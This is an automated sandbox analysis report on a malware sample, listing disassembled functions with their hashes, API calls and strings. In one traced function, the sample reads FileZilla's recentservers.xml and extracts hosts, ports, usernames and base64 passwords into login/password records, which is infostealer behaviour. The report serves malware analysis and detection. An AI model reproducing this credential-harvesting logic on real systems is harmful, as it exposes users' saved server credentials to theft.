Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40cad0428ba2cec2f3835856280400d4fd42dbc754fd2a6d6e7cded720f8f0bd
Instruction ID: 67d68dba2000bb8482a24fc023f268fc16b477c73c548bd02e1b99648bc578f6
Opcode Fuzzy Hash: 40cad0428ba2cec2f3835856280400d4fd42dbc754fd2a6d6e7cded720f8f0bd
Instruction Fuzzy Hash: C9B09B2071430D565708CE549440977779DB784905724C455D81C85505E735E59152D0

Uniqueness

Uniqueness Score: -1.00%

Function 61E037F3 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c758f56ce800b0edb1a3b6b4920dd8d203c929418ffadd695cc457fe8d80d330
Instruction ID: de6271d013a038b850d850acc4260bf908e6486e870890920c4c51f453ae2ee2
Opcode Fuzzy Hash: c758f56ce800b0edb1a3b6b4920dd8d203c929418ffadd695cc457fe8d80d330
Instruction Fuzzy Hash: C7B0123B11030CCB4700DD0DD441CC1B3D8F708E127C104D0E41087701D669F800C685

Uniqueness

Uniqueness Score: -1.00%

Function 0041951A Relevance: 129.2, APIs: 86, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0041952E

Part of subcall function 00417237: HeapFree.KERNEL32(00000000,00000000,?,00417148,00000000,00421AB0,0041718F,?,?,?,004171FF,00421AB0,?,?,00419FC3,00421AB0), ref: 0041724D
Part of subcall function 00417237: GetLastError.KERNEL32(?,?,00417148,00000000,00421AB0,0041718F,?,?,?,004171FF,00421AB0,?,?,00419FC3,00421AB0), ref: 0041725F

_free.LIBCMT ref: 00419536
_free.LIBCMT ref: 0041953E
_free.LIBCMT ref: 00419546
_free.LIBCMT ref: 0041954E
_free.LIBCMT ref: 00419556
_free.LIBCMT ref: 0041955D
_free.LIBCMT ref: 00419565
_free.LIBCMT ref: 0041956D
_free.LIBCMT ref: 00419575
_free.LIBCMT ref: 0041957D
_free.LIBCMT ref: 00419585
_free.LIBCMT ref: 0041958D
_free.LIBCMT ref: 00419595
_free.LIBCMT ref: 0041959D
_free.LIBCMT ref: 004195A5
_free.LIBCMT ref: 004195B0
_free.LIBCMT ref: 004195B8
_free.LIBCMT ref: 004195C0
_free.LIBCMT ref: 004195C8
_free.LIBCMT ref: 004195D0
_free.LIBCMT ref: 004195D8
_free.LIBCMT ref: 004195E0
_free.LIBCMT ref: 004195E8
_free.LIBCMT ref: 004195F0
_free.LIBCMT ref: 004195F8
_free.LIBCMT ref: 00419600
_free.LIBCMT ref: 00419608
_free.LIBCMT ref: 00419610
_free.LIBCMT ref: 00419618
_free.LIBCMT ref: 00419620
_free.LIBCMT ref: 00419628
_free.LIBCMT ref: 00419636
_free.LIBCMT ref: 00419641
_free.LIBCMT ref: 0041964C
_free.LIBCMT ref: 00419657
_free.LIBCMT ref: 00419662
_free.LIBCMT ref: 0041966D
_free.LIBCMT ref: 00419678
_free.LIBCMT ref: 00419683
_free.LIBCMT ref: 0041968E
_free.LIBCMT ref: 00419699
_free.LIBCMT ref: 004196A4
_free.LIBCMT ref: 004196AF
_free.LIBCMT ref: 004196BA
_free.LIBCMT ref: 004196C5
_free.LIBCMT ref: 004196D0
_free.LIBCMT ref: 004196DB
_free.LIBCMT ref: 004196E9
_free.LIBCMT ref: 004196F4
_free.LIBCMT ref: 004196FF
_free.LIBCMT ref: 0041970A
_free.LIBCMT ref: 00419715
_free.LIBCMT ref: 00419720
_free.LIBCMT ref: 0041972B
_free.LIBCMT ref: 00419736
_free.LIBCMT ref: 00419741
_free.LIBCMT ref: 0041974C
_free.LIBCMT ref: 00419757
_free.LIBCMT ref: 00419762
_free.LIBCMT ref: 0041976D
_free.LIBCMT ref: 00419778
_free.LIBCMT ref: 00419783
_free.LIBCMT ref: 0041978E
_free.LIBCMT ref: 0041979C
_free.LIBCMT ref: 004197A7
_free.LIBCMT ref: 004197B2
_free.LIBCMT ref: 004197BD
_free.LIBCMT ref: 004197C8
_free.LIBCMT ref: 004197D3
_free.LIBCMT ref: 004197DE
_free.LIBCMT ref: 004197E9
_free.LIBCMT ref: 004197F4
_free.LIBCMT ref: 004197FF
_free.LIBCMT ref: 0041980A
_free.LIBCMT ref: 00419815
_free.LIBCMT ref: 00419820
_free.LIBCMT ref: 0041982B
_free.LIBCMT ref: 00419836
_free.LIBCMT ref: 00419841
_free.LIBCMT ref: 0041984F
_free.LIBCMT ref: 0041985A
_free.LIBCMT ref: 00419865
_free.LIBCMT ref: 00419870
_free.LIBCMT ref: 0041987B
_free.LIBCMT ref: 00419886

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 55745e4d8ffa3bcd4bae6bd50e23aa08e34946fc70669168e917a1c48e4fa5ed
Instruction ID: aae2e700be17e184457e810537fb88098c042b50a614172b41a0f8a62edf0b60
Opcode Fuzzy Hash: 55745e4d8ffa3bcd4bae6bd50e23aa08e34946fc70669168e917a1c48e4fa5ed
Instruction Fuzzy Hash: 9171E531414B009BDF623B32DF43AD976B27F18344F10495EB1D6207329A3668E79ADA

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA90 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 004154D0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004154FB

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416D90: lstrcpy.KERNEL32(?,00000000), ref: 00416DD6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415520: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415542

strtok_s.MSVCRT ref: 0040EB5B
GetProcessHeap.KERNEL32(00000000,000F423F,0041D77A,0041D777,0041D776,0041D773), ref: 0040EBA2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EBA9
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040EBC5
lstrlen.KERNEL32(00000000), ref: 0040EBD3

Part of subcall function 00414F90: malloc.MSVCRT ref: 00414F98
Part of subcall function 00414F90: strncpy.MSVCRT ref: 00414FB3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0040EC0F
lstrlen.KERNEL32(00000000), ref: 0040EC1D
StrStrA.SHLWAPI(00000000,<User>), ref: 0040EC59
lstrlen.KERNEL32(00000000), ref: 0040EC67
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040ECA3
lstrlen.KERNEL32(00000000), ref: 0040ECB5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040ED42
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED5A
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED72
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED8A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 0040EDA2
lstrcat.KERNEL32(?,profile: null), ref: 0040EDB1
lstrcat.KERNEL32(?,url: ), ref: 0040EDC0
lstrcat.KERNEL32(?,00000000), ref: 0040EDD3
lstrcat.KERNEL32(?,0041DD34), ref: 0040EDE2
lstrcat.KERNEL32(?,00000000), ref: 0040EDF5
lstrcat.KERNEL32(?,0041DD38), ref: 0040EE04
lstrcat.KERNEL32(?,login: ), ref: 0040EE13
lstrcat.KERNEL32(?,00000000), ref: 0040EE26
lstrcat.KERNEL32(?,0041DD44), ref: 0040EE35
lstrcat.KERNEL32(?,password: ), ref: 0040EE44
lstrcat.KERNEL32(?,00000000), ref: 0040EE57
lstrcat.KERNEL32(?,0041DD54), ref: 0040EE66
lstrcat.KERNEL32(?,0041DD58), ref: 0040EE75
strtok_s.MSVCRT ref: 0040EEB9
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EECE
memset.MSVCRT ref: 0040EF17

Strings

<User>, xrefs: 0040EC50
password: , xrefs: 0040EE3B
<Pass encoding="base64">, xrefs: 0040EC9A
browser: FileZilla, xrefs: 0040ED99
profile: null, xrefs: 0040EDA8
url: , xrefs: 0040EDB7
<Port>, xrefs: 0040EC06
login: , xrefs: 0040EE0A
<Host>, xrefs: 0040EBBC
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040EAE4

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: b9745decef0e8a31e3536c0a3a2168993af70ad6559e4bb12ab41c0b286ba44b
Instruction ID: 10aecec93405882a833e9d9485586b9c386d2bb01b463c9373d799a08db88930
Opcode Fuzzy Hash: b9745decef0e8a31e3536c0a3a2168993af70ad6559e4bb12ab41c0b286ba44b
Instruction Fuzzy Hash: 63D160B1D10208ABCB14EBE5DD5AEEE7739AF54304F50445EF102B7091EF38AA85CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0040C640 Relevance: 31.9, APIs: 21, Instructions: 374stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

Part of subcall function 00415250: GetSystemTime.KERNEL32(?,02C318B8,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415276

Part of subcall function 00416F10: lstrcpy.KERNEL32(00000000,?), ref: 00416F62
Part of subcall function 00416F10: lstrcat.KERNEL32(00000000), ref: 00416F72

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040C6D3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040C817
HeapAlloc.KERNEL32(00000000), ref: 0040C81E
lstrcat.KERNEL32(?,00000000), ref: 0040C958
lstrcat.KERNEL32(?,0041DBD8), ref: 0040C967
lstrcat.KERNEL32(?,00000000), ref: 0040C97A
lstrcat.KERNEL32(?,0041DBDC), ref: 0040C989
lstrcat.KERNEL32(?,00000000), ref: 0040C99C
lstrcat.KERNEL32(?,0041DBE0), ref: 0040C9AB
lstrcat.KERNEL32(?,00000000), ref: 0040C9BE
lstrcat.KERNEL32(?,0041DBE4), ref: 0040C9CD
lstrcat.KERNEL32(?,00000000), ref: 0040C9E0
lstrcat.KERNEL32(?,0041DBE8), ref: 0040C9EF
lstrcat.KERNEL32(?,00000000), ref: 0040CA02
lstrcat.KERNEL32(?,0041DBEC), ref: 0040CA11
lstrcat.KERNEL32(?,00000000), ref: 0040CA24
lstrcat.KERNEL32(?,0041DBF0), ref: 0040CA33

Part of subcall function 00416E10: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137C6,00000000,?,02C52310,?,0041D8AC,?,00000000), ref: 00416E1B
Part of subcall function 00416E10: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E75

lstrlen.KERNEL32(?), ref: 0040CA7A
lstrlen.KERNEL32(?), ref: 0040CA89
memset.MSVCRT ref: 0040CAD2

Part of subcall function 00417060: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041707F

DeleteFileA.KERNEL32(00000000), ref: 0040CAFE

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocCopyDeleteProcessSystemTimememset
String ID:
API String ID: 2775534915-0
Opcode ID: 61ba51c3bfed54a5134207d633258f8bfb13d505ec0e96aab02087882fb26d63
Instruction ID: ffc60661210a2e4b291093b2ed211df7130cf98df2c45f5fc62d8e534ccc4922
Opcode Fuzzy Hash: 61ba51c3bfed54a5134207d633258f8bfb13d505ec0e96aab02087882fb26d63
Instruction Fuzzy Hash: 93E15371910108ABCB14EBA1ED96EEE7739BF14305F11416EF107B7091DF39AA86CB68

Uniqueness

Uniqueness Score: -1.00%

Function 61E0FD8A Relevance: 30.3, APIs: 13, Strings: 7, Instructions: 320COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E0FDAF
memcmp.MSVCRT ref: 61E0FE00
memcmp.MSVCRT ref: 61E10580

Strings

ous, xrefs: 61E10618
ate, xrefs: 61E105D5
ize, xrefs: 61E1065C
ive, xrefs: 61E1063A
iti, xrefs: 61E105FC
ence, xrefs: 61E103D4
ance, xrefs: 61E103AD

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: 9706f2438f5f9958a9f504a1a89414024658d7dc0fe24dd8d85b57cc53bebf8a
Instruction ID: 14175bb5b9193900e4a9b0b479f9e4e43aad601f0e58a5cb96228bda6cff1173
Opcode Fuzzy Hash: 9706f2438f5f9958a9f504a1a89414024658d7dc0fe24dd8d85b57cc53bebf8a
Instruction Fuzzy Hash: D0D127B0E09306CBDB01DF94C58269EBBF4AF85348F31C81AD8909B354D779D9668B92

Uniqueness

Uniqueness Score: -1.00%

Function 61E0FFDF Relevance: 28.8, APIs: 12, Strings: 7, Instructions: 293COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E10004
memcmp.MSVCRT ref: 61E10036
memcmp.MSVCRT ref: 61E1006E
memcmp.MSVCRT ref: 61E101F8
memcmp.MSVCRT ref: 61E103BB
memcmp.MSVCRT ref: 61E10580
memcmp.MSVCRT ref: 61E10669
memcmp.MSVCRT ref: 61E1070B

Strings

ous, xrefs: 61E10618
ate, xrefs: 61E105D5
ize, xrefs: 61E1065C
ive, xrefs: 61E1063A
iti, xrefs: 61E105FC
ence, xrefs: 61E103D4
ance, xrefs: 61E103AD

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: b669a7a1187de0fce9b6595f66bcea219431e2422beeabc80f0d4f1047ca061f
Instruction ID: 8af95de5a1172c954fa437990dc91da2b279e7fac1ed370a937824a3edc9c215
Opcode Fuzzy Hash: b669a7a1187de0fce9b6595f66bcea219431e2422beeabc80f0d4f1047ca061f
Instruction Fuzzy Hash: EFC137B0E0C3068BDB009F94C58269EBBF4AF85348F31C81EE894DB754D779D5A68B52

Uniqueness

Uniqueness Score: -1.00%

Function 61E0FEFD Relevance: 27.3, APIs: 11, Strings: 7, Instructions: 287COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E0FF1E
memcmp.MSVCRT ref: 61E0FF6B
memcmp.MSVCRT ref: 61E0FFB2
memcmp.MSVCRT ref: 61E10580

Strings

ous, xrefs: 61E10618
ate, xrefs: 61E105D5
ize, xrefs: 61E1065C
ive, xrefs: 61E1063A
iti, xrefs: 61E105FC
ence, xrefs: 61E103D4
ance, xrefs: 61E103AD

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: ed99b8ed2c93518955057c8a185e88c665ba01599eeeff3c7ab09e33224a8f47
Instruction ID: 3235e3b978ee00cfabdc0942405c464718558a8f08fb1430455de202698b3b76
Opcode Fuzzy Hash: ed99b8ed2c93518955057c8a185e88c665ba01599eeeff3c7ab09e33224a8f47
Instruction Fuzzy Hash: 1EC127B0D083068BDB00DF94C58269EBBF4AF85348F31C81ED890DB754D779D9A68B92

Uniqueness

Uniqueness Score: -1.00%

Function 61E100D7 Relevance: 27.3, APIs: 11, Strings: 7, Instructions: 280COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E100FC
memcmp.MSVCRT ref: 61E10131
memcmp.MSVCRT ref: 61E10580

Strings

ous, xrefs: 61E10618
ate, xrefs: 61E105D5
ize, xrefs: 61E1065C
ive, xrefs: 61E1063A
iti, xrefs: 61E105FC
ence, xrefs: 61E103D4
ance, xrefs: 61E103AD

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: 5306eb8679e29c7ccae58c152c61b3cb2e43ab0ad82d1b8259ffa351aff7fd54
Instruction ID: a6745917a23cee73da34d97950539bfd860ce037a133a9b2c34405b562b65f13
Opcode Fuzzy Hash: 5306eb8679e29c7ccae58c152c61b3cb2e43ab0ad82d1b8259ffa351aff7fd54
Instruction Fuzzy Hash: 90C127B0E083068BDB00DF94C58669EBBF4AF85348F31C81ED890DB754D779D5A68B92

Uniqueness

Uniqueness Score: -1.00%

Function 61E0FBCF Relevance: 25.8, APIs: 10, Strings: 7, Instructions: 268COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E0FBF0
memcmp.MSVCRT ref: 61E0FC37
memcmp.MSVCRT ref: 61E10580

Strings

ous, xrefs: 61E10618
ate, xrefs: 61E105D5
ize, xrefs: 61E1065C
ive, xrefs: 61E1063A
iti, xrefs: 61E105FC
ence, xrefs: 61E103D4
ance, xrefs: 61E103AD

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: e540365b7fd7f9443dd82ee147f8b9093e47f334e53584792075e5945152a348
Instruction ID: 60f9232e79ba8c46656df14b30f4429a15bc78d1e5e1648a3d40d26d176db9d4
Opcode Fuzzy Hash: e540365b7fd7f9443dd82ee147f8b9093e47f334e53584792075e5945152a348
Instruction Fuzzy Hash: 6EB128B0D0D3068BDB00CF94C58669EBBF4AF85348F31C81AD890DB754D779D9A68B92

Uniqueness

Uniqueness Score: -1.00%

Function 61E0FC61 Relevance: 25.8, APIs: 10, Strings: 7, Instructions: 259COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E0FC86
memcmp.MSVCRT ref: 61E0FCBF
memcmp.MSVCRT ref: 61E10580

Strings

ous, xrefs: 61E10618
ate, xrefs: 61E105D5
ize, xrefs: 61E1065C
ive, xrefs: 61E1063A
iti, xrefs: 61E105FC
ence, xrefs: 61E103D4
ance, xrefs: 61E103AD

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: 0a817a664abe7669e1f9b819d607d3cf4ee08d2d7d4e2fd3f7bc486b0ed951a3
Instruction ID: 2b4bda0a5a7416114e6a254efe1c2f62446bd14a06bd16ad799116575b7de764
Opcode Fuzzy Hash: 0a817a664abe7669e1f9b819d607d3cf4ee08d2d7d4e2fd3f7bc486b0ed951a3
Instruction Fuzzy Hash: 03B126B0D0C3068BDB00DF94C58269EBBF4AF85348F31C81AD890DB754D779D9A68B92

Uniqueness

Uniqueness Score: -1.00%

Function 0040C100 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

